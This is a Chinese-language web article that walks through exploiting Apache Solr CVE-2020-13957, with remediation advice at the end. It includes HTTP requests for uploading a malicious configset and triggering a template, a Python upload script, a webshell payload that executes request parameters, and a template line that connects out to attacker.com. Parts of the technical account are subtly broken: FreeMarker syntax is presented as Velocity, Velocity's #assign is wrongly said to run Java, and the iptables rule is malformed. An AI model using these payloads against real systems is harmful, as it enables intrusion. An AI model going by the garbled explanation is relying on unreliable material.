Apache Solr 未授权上传RCE漏洞CVE-2020-13957的原理分析与验证是怎么样的

发布时间:2021-12-28 17:48:37 作者:柒染
来源:亿速云 阅读:183
# Apache Solr 未授权上传RCE漏洞CVE-2020-13957的原理分析与验证

## 漏洞概述

CVE-2020-13957是Apache Solr在2020年披露的一个高危漏洞,影响Solr 6.6.0至7.7.3以及8.0.0至8.6.2版本。该漏洞允许攻击者通过未授权上传恶意配置文件实现远程代码执行(RCE),CVSS评分为9.8(Critical)。本文将深入分析漏洞原理、利用条件及验证方法。

## 技术背景

### Apache Solr架构特点
Solr是基于Lucene的搜索平台,采用Java开发,主要功能包括:
- 通过HTTP/HTTPS提供RESTful API
- 使用configset管理核心配置
- 支持动态加载核心(Core)

### 关键机制:ConfigSet API
漏洞涉及的关键API端点:

/admin/configs?action=UPLOAD&name=[configset名]

该接口本应仅允许管理员上传配置,但因权限校验缺陷导致未授权访问。

## 漏洞原理分析

### 根本原因
Solr在以下三个层面存在缺陷:

1. **权限校验缺失**  
   `ConfigSetsHandler`未对UPLOAD操作实施身份验证,绕过`security.json`的权限控制

2. **文件上传逻辑缺陷**  
   允许上传任意文件到临时目录,包括恶意Velocity模板

3. **Velocity模板注入**  
   攻击者可注入包含Java代码的模板,通过模板渲染触发RCE

### 利用链分解
完整攻击路径分为四个阶段:
1. 未授权上传恶意configset
2. 创建使用该configset的新core
3. 恶意Velocity模板被加载
4. 触发模板渲染执行系统命令

```java
// 漏洞代码示例(简化版)
public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
    if (action.equals("UPLOAD")) {
        // 缺失权限检查
        handleConfigUpload(req, rsp); 
    }
}

影响范围

受影响版本

默认配置风险

即使启用认证,若未正确配置security.json中的规则,仍可能受影响:

{
  "authentication":{...},
  "authorization":{
    "permissions":[{
      "name":"config-edit",
      "role":"admin"  // 未限制UPLOAD操作
    }]
  }
}

漏洞验证

环境搭建

使用Vulhub快速搭建测试环境:

docker-compose -f solr/8.6.0/CVE-2020-13957.yml up

分步验证过程

步骤1:检测漏洞存在

发送探测请求:

GET /solr/admin/cores?wt=json HTTP/1.1
Host: target:8983

观察返回的Solr版本信息

步骤2:上传恶意配置

构造包含Velocity模板的ZIP包:

mkdir -p malicious/conf
echo '<#assign cmd="touch /tmp/pwned">${cmd}' > malicious/conf/test.vm
zip -r configset.zip malicious

通过API上传:

POST /solr/admin/configs?action=UPLOAD&name=malicious HTTP/1.1
Content-Type: application/octet-stream
Host: target:8983

[ZIP文件二进制数据]

步骤3:创建恶意Core

GET /solr/admin/cores?action=CREATE&name=pwned&configSet=malicious HTTP/1.1
Host: target:8983

步骤4:触发RCE

访问模板触发命令执行:

GET /solr/pwned/select?q=1&&wt=velocity&v.template=test HTTP/1.1
Host: target:8983

自动化验证脚本

使用Python实现自动化检测:

import requests

def check_vuln(url):
    upload_url = f"{url}/solr/admin/configs"
    params = {'action':'UPLOAD','name':'exploit'}
    files = {'file': open('malicious.zip','rb')}
    resp = requests.post(upload_url, params=params, files=files)
    return resp.status_code == 200

修复方案

官方补丁

升级至以下版本: - Solr 7.7.4+ - Solr 8.6.3+

补丁关键修改: 1. 强制校验config-edit权限 2. 限制上传文件类型

临时缓解措施

  1. 网络层限制:
    
    iptables -A INPUT -p tcp --dport 8983 -s !trusted_ip -j DROP
    
  2. 配置强化:
    
    {
     "permissions": [
       {
         "name": "config-edit",
         "role": "admin",
         "path": "/admin/configs",
         "methods": ["POST"]
       }
     ]
    }
    

漏洞深度分析

Velocity模板引擎机制

Solr使用Velocity渲染UI时: 1. 解析.vm模板文件 2. 执行#assign定义的Java代码 3. 通过反射调用任意类方法

攻击变种

除基础RCE外,攻击者还可: 1. 写入Webshell:

   <#assign f=file.getWriter()>${f.write('<% Runtime.getRuntime().exec(request.getParameter("cmd")) %>')}
  1. 内网渗透:
    
    <#assign c=new java.net.URL("http://attacker.com").openConnection()>${c.getInputStream()}
    

防御建议

开发层面

  1. 实施最小权限原则
  2. 对文件上传实施白名单校验
  3. 禁用危险模板功能

运维层面

  1. 定期更新组件
  2. 启用Solr审计日志
    
    <requestHandler name="/admin/logging">
     <str name="enabled">true</str>
    </requestHandler>
    
  3. 部署WAF规则拦截恶意请求

总结

CVE-2020-13957暴露了Solr在权限控制和文件处理方面的严重缺陷。通过本文分析可见: 1. 未授权API访问是云原生应用的常见威胁 2. 模板注入成为Java应用的新型攻击向量 3. 配置错误会显著扩大攻击面

建议企业建立完善的组件资产管理机制,及时跟进关键漏洞信息,避免因中间件漏洞导致系统性风险。 “`

注:实际使用时需要: 1. 补充完整的PoC代码 2. 添加截图和流量示例 3. 根据实际测试调整细节 4. 注意法律合规性

推荐阅读:
  1. apache网站漏洞修复的解决办法是什么
  2. Apache Solr服务器端请求伪造漏洞怎么解决

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

apache solr rce

上一篇:arduino中有用的函数有哪些

下一篇:nRF51822库函数有哪些

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》